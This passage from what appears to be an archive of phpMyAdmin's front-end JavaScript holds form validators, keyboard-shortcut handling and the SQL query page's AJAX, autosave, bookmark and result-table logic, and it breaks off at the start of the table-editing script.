getAllValues()); } return true; }, /** * Validates Server_login_options fieldset * * @param {boolean} isKeyUp * * @return {true} */ Server_login_options: function (isKeyUp) { // eslint-disable-line camelcase return validators.fieldset.Server.apply(this, [isKeyUp]); }, /** * Validates Server_pmadb fieldset * * @param {boolean} isKeyUp * * @return {true} */ Server_pmadb: function (isKeyUp) { // eslint-disable-line camelcase if (isKeyUp) { return true; } var prefix = getIdPrefix($(this).find('input')); if ($('#' + prefix + 'pmadb').val() !== '') { ajaxValidate(this, 'Server_pmadb', getAllValues()); } return true; } } }); // // END: Form validation and field operations // ------------------------------------------------------------------ // ------------------------------------------------------------------ // User preferences allow/disallow UI // $(function () { $('.userprefs-allow').on('click', function (e) { if (this !== e.target) { return; } var el = $(this).find('input'); if (el.prop('disabled')) { return; } el.prop('checked', !el.prop('checked')); }); }); // // END: User preferences allow/disallow UI // ------------------------------------------------------------------ $(function () { $('.delete-server').on('click', function (e) { e.preventDefault(); var $this = $(this); $.post($this.attr('href'), $this.attr('data-post'), function () { window.location.replace('index.php'); }); }); });dist/shortcuts_handler.js000066600000006347151724472050011625 0ustar00/** * @fileoverview Handle shortcuts in various pages * @name Shortcuts handler * * @requires jQuery * @requires jQueryUI */ /* global Console */ // js/console.js /** * Register key events on load */ $(function () { var databaseOp = false; var tableOp = false; var keyD = 68; var keyT = 84; var keyK = 75; var keyS = 83; var keyF = 70; var keyE = 69; var keyH = 72; var keyC = 67; var keyBackSpace = 8; $(document).on('keyup', function (e) { // is a string but is also a boolean according to https://api.jquery.com/prop/ if ($(e.target).prop('contenteditable') === 'true' || $(e.target).prop('contenteditable') === true) { return; } if (e.target.nodeName === 'INPUT' || e.target.nodeName === 'TEXTAREA' || e.target.nodeName === 'SELECT') { return; } if (e.keyCode === keyD) { setTimeout(function () { databaseOp = false; }, 2000); } else if (e.keyCode === keyT) { setTimeout(function () { tableOp = false; }, 2000); } }); $(document).on('keydown', function (e) { // is a string but is also a boolean according to https://api.jquery.com/prop/ if ($(e.target).prop('contenteditable') === 'true' || $(e.target).prop('contenteditable') === true) { return; } // disable the shortcuts when session has timed out. if ($('#modalOverlay').length > 0) { return; } if (e.ctrlKey && e.altKey && e.keyCode === keyC) { Console.toggle(); } if (e.ctrlKey && e.keyCode === keyK) { e.preventDefault(); Console.toggle(); } if (e.target.nodeName === 'INPUT' || e.target.nodeName === 'TEXTAREA' || e.target.nodeName === 'SELECT') { return; } var isTable; var isDb; if (e.keyCode === keyD) { databaseOp = true; } else if (e.keyCode === keyK) { e.preventDefault(); Console.toggle(); } else if (e.keyCode === keyS) { if (databaseOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && !isTable) { $('.nav-link .ic_b_props').first().trigger('click'); } } else if (tableOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && isTable) { $('.nav-link .ic_b_props').first().trigger('click'); } } else { $('#pma_navigation_settings_icon').trigger('click'); } } else if (e.keyCode === keyF) { if (databaseOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && !isTable) { $('.nav-link .ic_b_search').first().trigger('click'); } } else if (tableOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && isTable) { $('.nav-link .ic_b_search').first().trigger('click'); } } } else if (e.keyCode === keyT) { tableOp = true; } else if (e.keyCode === keyE) { $('.ic_b_export').first().trigger('click'); } else if (e.keyCode === keyBackSpace) { window.history.back(); } else if (e.keyCode === keyH) { $('.ic_b_home').first().trigger('click'); } }); });dist/sql.js000066600000105325151724472050006665 0ustar00/** * @fileoverview functions used wherever an sql query form is used * * @requires jQuery * @requires js/functions.js * * @test-module Sql */ /* global isStorageSupported */ // js/config.js /* global codeMirrorEditor */ // js/functions.js /* global makeGrid */ // js/makegrid.js /* global sqlBoxLocked */ // js/functions.js var Sql = {}; /** * decode a string URL_encoded * * @param {string} str * @return {string} the URL-decoded string */ Sql.urlDecode = function (str) { if (typeof str !== 'undefined') { return decodeURIComponent(str.replace(/\+/g, '%20')); } }; /** * encode a string URL_decoded * * @param {string} str * @return {string} the URL-encoded string */ Sql.urlEncode = function (str) { if (typeof str !== 'undefined') { return encodeURIComponent(str).replace(/%20/g, '+'); } }; /** * Saves SQL query in local storage or cookie * * @param {string} query SQL query * @return {void} */ Sql.autoSave = function (query) { if (query) { var key = Sql.getAutoSavedKey(); if (isStorageSupported('localStorage')) { window.localStorage.setItem(key, query); } else { Cookies.set(key, query); } } }; /** * Saves SQL query in local storage or cookie * * @param {string} db database name * @param {string} table table name * @param {string} query SQL query * @return {void} */ Sql.showThisQuery = function (db, table, query) { var showThisQueryObject = { 'db': db, 'table': table, 'query': query }; if (isStorageSupported('localStorage')) { window.localStorage.showThisQuery = 1; window.localStorage.showThisQueryObject = JSON.stringify(showThisQueryObject); } else { Cookies.set('showThisQuery', 1); Cookies.set('showThisQueryObject', JSON.stringify(showThisQueryObject)); } }; /** * Set query to codemirror if show this query is * checked and query for the db and table pair exists */ Sql.setShowThisQuery = function () { var db = $('input[name="db"]').val(); var table = $('input[name="table"]').val(); if (isStorageSupported('localStorage')) { if (window.localStorage.showThisQueryObject !== undefined) { var storedDb = JSON.parse(window.localStorage.showThisQueryObject).db; var storedTable = JSON.parse(window.localStorage.showThisQueryObject).table; var storedQuery = JSON.parse(window.localStorage.showThisQueryObject).query; } if (window.localStorage.showThisQuery !== undefined && window.localStorage.showThisQuery === '1') { $('input[name="show_query"]').prop('checked', true); if (db === storedDb && table === storedTable) { if (codeMirrorEditor) { codeMirrorEditor.setValue(storedQuery); } else if (document.sqlform) { document.sqlform.sql_query.value = storedQuery; } } } else { $('input[name="show_query"]').prop('checked', false); } } }; /** * Saves SQL query with sort in local storage or cookie * * @param {string} query SQL query * @return {void} */ Sql.autoSaveWithSort = function (query) { if (query) { if (isStorageSupported('localStorage')) { window.localStorage.setItem('autoSavedSqlSort', query); } else { Cookies.set('autoSavedSqlSort', query); } } }; /** * Clear saved SQL query with sort in local storage or cookie * * @return {void} */ Sql.clearAutoSavedSort = function () { if (isStorageSupported('localStorage')) { window.localStorage.removeItem('autoSavedSqlSort'); } else { Cookies.set('autoSavedSqlSort', ''); } }; /** * Get the field name for the current field. Required to construct the query * for grid editing * * @param $tableResults enclosing results table * @param $thisField jQuery object that points to the current field's tr * * @return {string} */ Sql.getFieldName = function ($tableResults, $thisField) { var thisFieldIndex = $thisField.index(); // ltr or rtl direction does not impact how the DOM was generated // check if the action column in the left exist var leftActionExist = !$tableResults.find('th').first().hasClass('draggable'); // number of column span for checkbox and Actions var leftActionSkip = leftActionExist ? $tableResults.find('th').first().attr('colspan') - 1 : 0; // If this column was sorted, the text of the a element contains something // like 1 that is useful to indicate the order in case // of a sort on multiple columns; however, we dont want this as part // of the column name so we strip it ( .clone() to .end() ) var fieldName = $tableResults.find('thead').find('th').eq(thisFieldIndex - leftActionSkip).find('a').clone() // clone the element .children() // select all the children .remove() // remove all of them .end() // go back to the selected element .text(); // grab the text // happens when just one row (headings contain no a) if (fieldName === '') { var $heading = $tableResults.find('thead').find('th').eq(thisFieldIndex - leftActionSkip).children('span'); // may contain column comment enclosed in a span - detach it temporarily to read the column name var $tempColComment = $heading.children().detach(); fieldName = $heading.text(); // re-attach the column comment $heading.append($tempColComment); } fieldName = fieldName.trim(); return fieldName; }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('sql.js', function () { $(document).off('click', 'a.delete_row.ajax'); $(document).off('submit', '.bookmarkQueryForm'); $('input#bkm_label').off('input'); $(document).off('makegrid', '.sqlqueryresults'); $('#togglequerybox').off('click'); $(document).off('click', '#button_submit_query'); $(document).off('change', '#id_bookmark'); $('input[name=\'bookmark_variable\']').off('keypress'); $(document).off('submit', '#sqlqueryform.ajax'); $(document).off('click', 'input[name=navig].ajax'); $(document).off('submit', 'form[name=\'displayOptionsForm\'].ajax'); $(document).off('mouseenter', 'th.column_heading.pointer'); $(document).off('mouseleave', 'th.column_heading.pointer'); $(document).off('click', 'th.column_heading.marker'); $(document).off('scroll', window); $(document).off('keyup', '.filter_rows'); if (codeMirrorEditor) { codeMirrorEditor.off('change'); } else { $('#sqlquery').off('input propertychange'); } $('body').off('click', '.navigation .showAllRows'); $('body').off('click', 'a.browse_foreign'); $('body').off('click', '#simulate_dml'); $('body').off('keyup', '#sqlqueryform'); $('body').off('click', 'form[name="resultsForm"].ajax button[name="submit_mult"], form[name="resultsForm"].ajax input[name="submit_mult"]'); $(document).off('submit', '.maxRowsForm'); $(document).off('click', '#view_as'); $(document).off('click', '#sqlquery'); }); /** * @description

        Ajax scripts for sql and browse pages

        * * Actions ajaxified here: *
          *
        • Retrieve results of an SQL query
        • *
        • Paginate the results table
        • *
        • Sort the results table
        • *
        • Change table according to display options
        • *
        • Grid editing of data
        • *
        • Saving a bookmark
        • *
        * * @name document.ready * @memberOf jQuery */ AJAX.registerOnload('sql.js', function () { if (codeMirrorEditor || document.sqlform) { Sql.setShowThisQuery(); } $(function () { if (codeMirrorEditor) { codeMirrorEditor.on('change', function () { Sql.autoSave(codeMirrorEditor.getValue()); }); } else { $('#sqlquery').on('input propertychange', function () { Sql.autoSave($('#sqlquery').val()); }); var useLocalStorageValue = isStorageSupported('localStorage') && typeof window.localStorage.autoSavedSqlSort !== 'undefined'; // Save sql query with sort if ($('#RememberSorting') !== undefined && $('#RememberSorting').is(':checked')) { $('select[name="sql_query"]').on('change', function () { Sql.autoSaveWithSort($(this).val()); }); $('.sortlink').on('click', function () { Sql.clearAutoSavedSort(); }); } else { Sql.clearAutoSavedSort(); } // If sql query with sort for current table is stored, change sort by key select value var sortStoredQuery = useLocalStorageValue ? window.localStorage.autoSavedSqlSort : Cookies.get('autoSavedSqlSort'); if (typeof sortStoredQuery !== 'undefined' && sortStoredQuery !== $('select[name="sql_query"]').val() && $('select[name="sql_query"] option[value="' + sortStoredQuery + '"]').length !== 0) { $('select[name="sql_query"]').val(sortStoredQuery).trigger('change'); } } }); // Delete row from SQL results $(document).on('click', 'a.delete_row.ajax', function (e) { e.preventDefault(); var question = Functions.sprintf(Messages.strDoYouReally, Functions.escapeHtml($(this).closest('td').find('div').text())); var $link = $(this); $link.confirm(question, $link.attr('href'), function (url) { Functions.ajaxShowMessage(); var argsep = CommonParams.get('arg_separator'); var params = 'ajax_request=1' + argsep + 'is_js_confirmed=1'; var postData = $link.getPostData(); if (postData) { params += argsep + postData; } $.post(url, params, function (data) { if (data.success) { Functions.ajaxShowMessage(data.message); $link.closest('tr').remove(); } else { Functions.ajaxShowMessage(data.error, false); } }); }); }); // Ajaxification for 'Bookmark this SQL query' $(document).on('submit', '.bookmarkQueryForm', function (e) { e.preventDefault(); Functions.ajaxShowMessage(); var argsep = CommonParams.get('arg_separator'); $.post($(this).attr('action'), 'ajax_request=1' + argsep + $(this).serialize(), function (data) { if (data.success) { Functions.ajaxShowMessage(data.message); } else { Functions.ajaxShowMessage(data.error, false); } }); }); /* Hides the bookmarkoptions checkboxes when the bookmark label is empty */ $('input#bkm_label').on('input', function () { $('input#id_bkm_all_users, input#id_bkm_replace').parent().toggle($(this).val().length > 0); }).trigger('input'); /** * Attach Event Handler for 'Copy to clipboard' */ $(document).on('click', '#copyToClipBoard', function (event) { event.preventDefault(); var textArea = document.createElement('textarea'); // // *** This styling is an extra step which is likely not required. *** // // Why is it here? To ensure: // 1. the element is able to have focus and selection. // 2. if element was to flash render it has minimal visual impact. // 3. less flakyness with selection and copying which **might** occur if // the textarea element is not visible. // // The likelihood is the element won't even render, not even a flash, // so some of these are just precautions. However in IE the element // is visible whilst the popup box asking the user for permission for // the web page to copy to the clipboard. // // Place in top-left corner of screen regardless of scroll position. textArea.style.position = 'fixed'; textArea.style.top = 0; textArea.style.left = 0; // Ensure it has a small width and height. Setting to 1px / 1em // doesn't work as this gives a negative w/h on some browsers. textArea.style.width = '2em'; textArea.style.height = '2em'; // We don't need padding, reducing the size if it does flash render. textArea.style.padding = 0; // Clean up any borders. textArea.style.border = 'none'; textArea.style.outline = 'none'; textArea.style.boxShadow = 'none'; // Avoid flash of white box if rendered for any reason. textArea.style.background = 'transparent'; textArea.value = ''; $('#server-breadcrumb a').each(function () { textArea.value += $(this).data('raw-text') + '/'; }); textArea.value += '\t\t' + window.location.href; textArea.value += '\n'; $('.alert-success').each(function () { textArea.value += $(this).text() + '\n\n'; }); $('.sql pre').each(function () { textArea.value += $(this).text() + '\n\n'; }); $('.table_results .column_heading a').each(function () { // Don't copy ordering number text within tag textArea.value += $(this).clone().find('small').remove().end().text() + '\t'; }); textArea.value += '\n'; $('.table_results tbody tr').each(function () { $(this).find('.data span').each(function () { // Extract tag for NULL values before converting to string to not mess up formatting var data = $(this).find('em').length !== 0 ? $(this).find('em')[0] : this; textArea.value += $(data).text() + '\t'; }); textArea.value += '\n'; }); // eslint-disable-next-line compat/compat document.body.appendChild(textArea); textArea.select(); try { document.execCommand('copy'); } catch (err) { alert('Sorry! Unable to copy'); } // eslint-disable-next-line compat/compat document.body.removeChild(textArea); }); // end of Copy to Clipboard action /** * Attach the {@link makegrid} function to a custom event, which will be * triggered manually everytime the table of results is reloaded * @memberOf jQuery */ $(document).on('makegrid', '.sqlqueryresults', function () { $('.table_results').each(function () { makeGrid(this); }); }); /** * Append the "Show/Hide query box" message to the query input form * * @memberOf jQuery * @name appendToggleSpan */ // do not add this link more than once if (!$('#sqlqueryform').find('button').is('#togglequerybox')) { $('').html(Messages.strHideQueryBox).appendTo('#sqlqueryform') // initially hidden because at this point, nothing else // appears under the link .hide(); // Attach the toggling of the query box visibility to a click $('#togglequerybox').on('click', function () { var $link = $(this); $link.siblings().slideToggle('fast'); if ($link.text() === Messages.strHideQueryBox) { $link.text(Messages.strShowQueryBox); // cheap trick to add a spacer between the menu tabs // and "Show query box"; feel free to improve! $('#togglequerybox_spacer').remove(); $link.before('
        '); } else { $link.text(Messages.strHideQueryBox); } // avoid default click action return false; }); } /** * Event handler for sqlqueryform.ajax button_submit_query * * @memberOf jQuery */ $(document).on('click', '#button_submit_query', function () { $('.alert-success,.alert-danger').hide(); // hide already existing error or success message var $form = $(this).closest('form'); // the Go button related to query submission was clicked, // instead of the one related to Bookmarks, so empty the // id_bookmark selector to avoid misinterpretation in // /import about what needs to be done $form.find('select[name=id_bookmark]').val(''); var isShowQuery = $('input[name="show_query"]').is(':checked'); if (isShowQuery) { window.localStorage.showThisQuery = '1'; var db = $('input[name="db"]').val(); var table = $('input[name="table"]').val(); var query; if (codeMirrorEditor) { query = codeMirrorEditor.getValue(); } else { query = $('#sqlquery').val(); } Sql.showThisQuery(db, table, query); } else { window.localStorage.showThisQuery = '0'; } }); /** * Event handler to show appropriate number of variable boxes * based on the bookmarked query */ $(document).on('change', '#id_bookmark', function () { var varCount = $(this).find('option:selected').data('varcount'); if (typeof varCount === 'undefined') { varCount = 0; } var $varDiv = $('#bookmarkVariables'); $varDiv.empty(); for (var i = 1; i <= varCount; i++) { $varDiv.append($('
        ')); $varDiv.append($('')); $varDiv.append($('')); $varDiv.append($('
        ')); } if (varCount === 0) { $varDiv.parent().hide(); } else { $varDiv.parent().show(); } }); /** * Event handler for hitting enter on sqlqueryform bookmark_variable * (the Variable textfield in Bookmarked SQL query section) * * @memberOf jQuery */ $('input[name=bookmark_variable]').on('keypress', function (event) { // force the 'Enter Key' to implicitly click the #button_submit_bookmark var keycode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode; if (keycode === 13) { // keycode for enter key // When you press enter in the sqlqueryform, which // has 2 submit buttons, the default is to run the // #button_submit_query, because of the tabindex // attribute. // This submits #button_submit_bookmark instead, // because when you are in the Bookmarked SQL query // section and hit enter, you expect it to do the // same action as the Go button in that section. $('#button_submit_bookmark').trigger('click'); return false; } else { return true; } }); /** * Ajax Event handler for 'SQL Query Submit' * * @see Functions.ajaxShowMessage() * @memberOf jQuery * @name sqlqueryform_submit */ $(document).on('submit', '#sqlqueryform.ajax', function (event) { event.preventDefault(); var $form = $(this); if (codeMirrorEditor) { $form[0].elements.sql_query.value = codeMirrorEditor.getValue(); } if (!Functions.checkSqlQuery($form[0])) { return false; } // remove any div containing a previous error message $('.alert-danger').remove(); var $msgbox = Functions.ajaxShowMessage(); var $sqlqueryresultsouter = $('#sqlqueryresultsouter'); Functions.prepareForAjaxRequest($form); var argsep = CommonParams.get('arg_separator'); $.post($form.attr('action'), $form.serialize() + argsep + 'ajax_page_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { // success happens if the query returns rows or not // show a message that stays on screen if (typeof data.action_bookmark !== 'undefined') { // view only if ('1' === data.action_bookmark) { $('#sqlquery').text(data.sql_query); // send to codemirror if possible Functions.setQuery(data.sql_query); } // delete if ('2' === data.action_bookmark) { $('#id_bookmark option[value=\'' + data.id_bookmark + '\']').remove(); // if there are no bookmarked queries now (only the empty option), // remove the bookmark section if ($('#id_bookmark option').length === 1) { $('#fieldsetBookmarkOptions').hide(); $('#fieldsetBookmarkOptionsFooter').hide(); } } } $sqlqueryresultsouter.show().html(data.message); Functions.highlightSql($sqlqueryresultsouter); if (data.menu) { history.replaceState({ menu: data.menu }, null); AJAX.handleMenu.replace(data.menu); } if (data.params) { CommonParams.setAll(data.params); } if (typeof data.ajax_reload !== 'undefined') { if (data.ajax_reload.reload) { if (data.ajax_reload.table_name) { CommonParams.set('table', data.ajax_reload.table_name); CommonActions.refreshMain(); } else { Navigation.reload(); } } } else if (typeof data.reload !== 'undefined') { // this happens if a USE or DROP command was typed CommonActions.setDb(data.db); var url; if (data.db) { if (data.table) { url = 'index.php?route=/table/sql'; } else { url = 'index.php?route=/database/sql'; } } else { url = 'index.php?route=/server/sql'; } CommonActions.refreshMain(url, function () { $('#sqlqueryresultsouter').show().html(data.message); Functions.highlightSql($('#sqlqueryresultsouter')); }); } $('.sqlqueryresults').trigger('makegrid'); $('#togglequerybox').show(); if (typeof data.action_bookmark === 'undefined') { if ($('#sqlqueryform input[name="retain_query_box"]').is(':checked') !== true) { if ($('#togglequerybox').siblings(':visible').length > 0) { $('#togglequerybox').trigger('click'); } } } } else if (typeof data !== 'undefined' && data.success === false) { // show an error message that stays on screen $sqlqueryresultsouter.show().html(data.error); $('html, body').animate({ scrollTop: $(document).height() }, 200); } Functions.ajaxRemoveMessage($msgbox); }); // end $.post() }); // end SQL Query submit /** * Ajax Event handler for the display options * @memberOf jQuery * @name displayOptionsForm_submit */ $(document).on('submit', 'form[name=\'displayOptionsForm\'].ajax', function (event) { event.preventDefault(); var $form = $(this); var $msgbox = Functions.ajaxShowMessage(); var argsep = CommonParams.get('arg_separator'); $.post($form.attr('action'), $form.serialize() + argsep + 'ajax_request=true', function (data) { Functions.ajaxRemoveMessage($msgbox); var $sqlqueryresults = $form.parents('.sqlqueryresults'); $sqlqueryresults.html(data.message).trigger('makegrid'); Functions.highlightSql($sqlqueryresults); }); // end $.post() }); // end displayOptionsForm handler // Filter row handling. --STARTS-- $(document).on('keyup', '.filter_rows', function () { var uniqueId = $(this).data('for'); var $targetTable = $('.table_results[data-uniqueId=\'' + uniqueId + '\']'); var $headerCells = $targetTable.find('th[data-column]'); var targetColumns = []; // To handle colspan=4, in case of edit, copy, etc options (Table row links). Add 3 dummy elements - only when the Table row links are NOT on the "Right" var rowLinksLocation = $targetTable.find('thead > tr > th').first(); var dummyTh = rowLinksLocation[0].getAttribute('colspan') !== null ? '' : ''; // Selecting columns that will be considered for filtering and searching. // Selecting columns that will be considered for filtering and searching. $headerCells.each(function () { targetColumns.push($(this).text().trim()); }); var phrase = $(this).val(); // Set same value to both Filter rows fields. $('.filter_rows[data-for=\'' + uniqueId + '\']').not(this).val(phrase); // Handle colspan. $targetTable.find('thead > tr').prepend(dummyTh); $.uiTableFilter($targetTable, phrase, targetColumns); $targetTable.find('th.dummy_th').remove(); }); // Filter row handling. --ENDS-- // Prompt to confirm on Show All $('body').on('click', '.navigation .showAllRows', function (e) { e.preventDefault(); var $form = $(this).parents('form'); Sql.submitShowAllForm = function () { var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; Functions.ajaxShowMessage(); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); }; if (!$(this).is(':checked')) { // already showing all rows Sql.submitShowAllForm(); } else { $form.confirm(Messages.strShowAllRowsWarning, $form.attr('action'), function () { Sql.submitShowAllForm(); }); } }); $('body').on('keyup', '#sqlqueryform', function () { Functions.handleSimulateQueryButton(); }); /** * Ajax event handler for 'Simulate DML'. */ $('body').on('click', '#simulate_dml', function () { var $form = $('#sqlqueryform'); var query = ''; var delimiter = $('#id_sql_delimiter').val(); var dbName = $form.find('input[name="db"]').val(); if (codeMirrorEditor) { query = codeMirrorEditor.getValue(); } else { query = $('#sqlquery').val(); } if (query.length === 0) { alert(Messages.strFormEmpty); $('#sqlquery').trigger('focus'); return false; } var $msgbox = Functions.ajaxShowMessage(); $.ajax({ type: 'POST', url: 'index.php?route=/import/simulate-dml', data: { 'server': CommonParams.get('server'), 'db': dbName, 'ajax_request': '1', 'sql_query': query, 'sql_delimiter': delimiter }, success: function (response) { Functions.ajaxRemoveMessage($msgbox); if (response.success) { var dialogContent = '
        '; if (response.sql_data) { var len = response.sql_data.length; for (var i = 0; i < len; i++) { dialogContent += '' + Messages.strSQLQuery + '' + response.sql_data[i].sql_query + Messages.strMatchedRows + ' ' + response.sql_data[i].matched_rows + '
        '; if (i < len - 1) { dialogContent += '
        '; } } } else { dialogContent += response.message; } dialogContent += '
        '; var $dialogContent = $(dialogContent); var modal = $('#simulateDmlModal'); modal.modal('show'); modal.find('.modal-body').first().html($dialogContent); modal.on('shown.bs.modal', function () { Functions.highlightSql(modal); }); } else { Functions.ajaxShowMessage(response.error); } }, error: function () { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest); } }); }); /** * Handles multi submits of results browsing page such as edit, delete and export */ $('body').on('click', 'form[name="resultsForm"].ajax button[name="submit_mult"], form[name="resultsForm"].ajax input[name="submit_mult"]', function (e) { e.preventDefault(); var $button = $(this); var action = $button.val(); var $form = $button.closest('form'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true' + argsep; Functions.ajaxShowMessage(); AJAX.source = $form; var url; if (action === 'edit') { submitData = submitData + argsep + 'default_action=update'; url = 'index.php?route=/table/change/rows'; } else if (action === 'copy') { submitData = submitData + argsep + 'default_action=insert'; url = 'index.php?route=/table/change/rows'; } else if (action === 'export') { url = 'index.php?route=/table/export/rows'; } else if (action === 'delete') { url = 'index.php?route=/table/delete/confirm'; } else { return; } $.post(url, submitData, AJAX.responseHandler); }); $(document).on('submit', '.maxRowsForm', function () { var unlimNumRows = $(this).find('input[name="unlim_num_rows"]').val(); var maxRowsCheck = Functions.checkFormElementInRange(this, 'session_max_rows', Messages.strNotValidRowNumber, 1); var posCheck = Functions.checkFormElementInRange(this, 'pos', Messages.strNotValidRowNumber, 0, unlimNumRows > 0 ? unlimNumRows - 1 : null); return maxRowsCheck && posCheck; }); $('#insertBtn').on('click', function () { Functions.insertValueQuery(); }); $('#view_as').on('click', function () { Functions.selectContent(this, sqlBoxLocked, true); }); $('#sqlquery').on('click', function () { if ($(this).data('textarea-auto-select') === true) { Functions.selectContent(this, sqlBoxLocked, true); } }); }); // end $() /** * Starting from some th, change the class of all td under it. * If isAddClass is specified, it will be used to determine whether to add or remove the class. * * @param $thisTh * @param {string} newClass * @param isAddClass */ Sql.changeClassForColumn = function ($thisTh, newClass, isAddClass) { // index 0 is the th containing the big T var thIndex = $thisTh.index(); var hasBigT = $thisTh.closest('tr').children().first().hasClass('column_action'); // .eq() is zero-based if (hasBigT) { thIndex--; } var $table = $thisTh.parents('.table_results'); if (!$table.length) { $table = $thisTh.parents('table').siblings('.table_results'); } var $tds = $table.find('tbody tr').find('td.data').eq(thIndex); if (isAddClass === undefined) { $tds.toggleClass(newClass); } else { $tds.toggleClass(newClass, isAddClass); } }; /** * Handles browse foreign values modal dialog * * @param {object} $thisA reference to the browse foreign value link */ Sql.browseForeignDialog = function ($thisA) { var formId = '#browse_foreign_form'; var showAllId = '#foreign_showAll'; var tableId = '#browse_foreign_table'; var filterId = '#input_foreign_filter'; var $dialog = null; var argSep = CommonParams.get('arg_separator'); var params = $thisA.getPostData(); params += argSep + 'ajax_request=true'; $.post($thisA.attr('href'), params, function (data) { // Creates browse foreign value dialog $dialog = $('
        ').append(data.message).dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strBrowseForeignValues, width: Math.min($(window).width() - 100, 700), maxHeight: $(window).height() - 100, dialogClass: 'browse_foreign_modal', close: function () { // remove event handlers attached to elements related to dialog $(tableId).off('click', 'td a.foreign_value'); $(formId).off('click', showAllId); $(formId).off('submit'); // remove dialog itself $(this).remove(); }, modal: true }); }).done(function () { var showAll = false; $(tableId).on('click', 'td a.foreign_value', function (e) { e.preventDefault(); var $input = $thisA.prev('input[type=text]'); // Check if input exists or get CEdit edit_box if ($input.length === 0) { $input = $thisA.closest('.edit_area').prev('.edit_box'); } // Set selected value as input value $input.val($(this).data('key')); // Unchecks the Ignore checkbox for the current row $input.trigger('change'); $dialog.dialog('close'); }); $(formId).on('click', showAllId, function () { showAll = true; }); $(formId).on('submit', function (e) { e.preventDefault(); // if filter value is not equal to old value // then reset page number to 1 if ($(filterId).val() !== $(filterId).data('old')) { $(formId).find('select[name=pos]').val('0'); } var postParams = $(this).serializeArray(); // if showAll button was clicked to submit form then // add showAll button parameter to form if (showAll) { postParams.push({ name: $(showAllId).attr('name'), value: $(showAllId).val() }); } // updates values in dialog $.post($(this).attr('action') + '&ajax_request=1', postParams, function (data) { var $obj = $('
        ').html(data.message); $(formId).html($obj.find(formId).html()); $(tableId).html($obj.find(tableId).html()); }); showAll = false; }); }); }; /** * Get the auto saved query key * @return {String} */ Sql.getAutoSavedKey = function () { var db = $('input[name="db"]').val(); var table = $('input[name="table"]').val(); var key = db; if (table !== undefined) { key += '.' + table; } return 'autoSavedSql_' + key; }; Sql.checkSavedQuery = function () { var key = Sql.getAutoSavedKey(); if (isStorageSupported('localStorage') && typeof window.localStorage.getItem(key) === 'string') { Functions.ajaxShowMessage(Messages.strPreviousSaveQuery); } else if (Cookies.get(key)) { Functions.ajaxShowMessage(Messages.strPreviousSaveQuery); } }; AJAX.registerOnload('sql.js', function () { $('body').on('click', 'a.browse_foreign', function (e) { e.preventDefault(); Sql.browseForeignDialog($(this)); }); /** * vertical column highlighting in horizontal mode when hovering over the column header */ $(document).on('mouseenter', 'th.column_heading.pointer', function () { Sql.changeClassForColumn($(this), 'hover', true); }); $(document).on('mouseleave', 'th.column_heading.pointer', function () { Sql.changeClassForColumn($(this), 'hover', false); }); /** * vertical column marking in horizontal mode when clicking the column header */ $(document).on('click', 'th.column_heading.marker', function () { Sql.changeClassForColumn($(this), 'marked'); }); /** * create resizable table */ $('.sqlqueryresults').trigger('makegrid'); /** * Check if there is any saved query */ if (codeMirrorEditor || document.sqlform) { Sql.checkSavedQuery(); } }); /** * Profiling Chart */ Sql.makeProfilingChart = function () { if ($('#profilingchart').length === 0 || $('#profilingchart').html().length !== 0 || !$.jqplot || !$.jqplot.Highlighter || !$.jqplot.PieRenderer) { return; } var data = []; $.each(JSON.parse($('#profilingChartData').html()), function (key, value) { data.push([key, parseFloat(value)]); }); // Remove chart and data divs contents $('#profilingchart').html('').show(); $('#profilingChartData').html(''); Functions.createProfilingChart('profilingchart', data); }; /** * initialize profiling data tables */ Sql.initProfilingTables = function () { if (!$.tablesorter) { return; } // Added to allow two direction sorting $('#profiletable').find('thead th').off('click mousedown'); $('#profiletable').tablesorter({ widgets: ['zebra'], sortList: [[0, 0]], textExtraction: function (node) { if (node.children.length > 0) { return node.children[0].innerHTML; } else { return node.innerHTML; } } }); // Added to allow two direction sorting $('#profilesummarytable').find('thead th').off('click mousedown'); $('#profilesummarytable').tablesorter({ widgets: ['zebra'], sortList: [[1, 1]], textExtraction: function (node) { if (node.children.length > 0) { return node.children[0].innerHTML; } else { return node.innerHTML; } } }); }; AJAX.registerOnload('sql.js', function () { Sql.makeProfilingChart(); Sql.initProfilingTables(); });dist/table/change.js000066600000070632151724472050010404 0ustar00/** * @fileoverview function used in table data manipulation pages * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * */ /* global extendingValidatorMessages */ // templates/javascript/variables.twig /* global openGISEditor, gisEditorLoaded, loadJSAndGISEditor, loadGISEditor */ // js/gis_data_editor.js /** * Modify form controls when the "NULL" checkbox is checked * * @param {string} theType the MySQL field type * @param {string} urlField the urlencoded field name - OBSOLETE * @param {string} md5Field the md5 hashed field name * @param {string} multiEdit the multi_edit row sequence number * * @return {boolean} always true */ function nullify(theType, urlField, md5Field, multiEdit) { var rowForm = document.forms.insertForm; if (typeof rowForm.elements['funcs' + multiEdit + '[' + md5Field + ']'] !== 'undefined') { rowForm.elements['funcs' + multiEdit + '[' + md5Field + ']'].selectedIndex = -1; } // "ENUM" field with more than 20 characters if (Number(theType) === 1) { rowForm.elements['fields' + multiEdit + '[' + md5Field + ']'][1].selectedIndex = -1; // Other "ENUM" field } else if (Number(theType) === 2) { var elts = rowForm.elements['fields' + multiEdit + '[' + md5Field + ']']; // when there is just one option in ENUM: if (elts.checked) { elts.checked = false; } else { var eltsCnt = elts.length; for (var i = 0; i < eltsCnt; i++) { elts[i].checked = false; } // end for } // end if // "SET" field } else if (Number(theType) === 3) { rowForm.elements['fields' + multiEdit + '[' + md5Field + '][]'].selectedIndex = -1; // Foreign key field (drop-down) } else if (Number(theType) === 4) { rowForm.elements['fields' + multiEdit + '[' + md5Field + 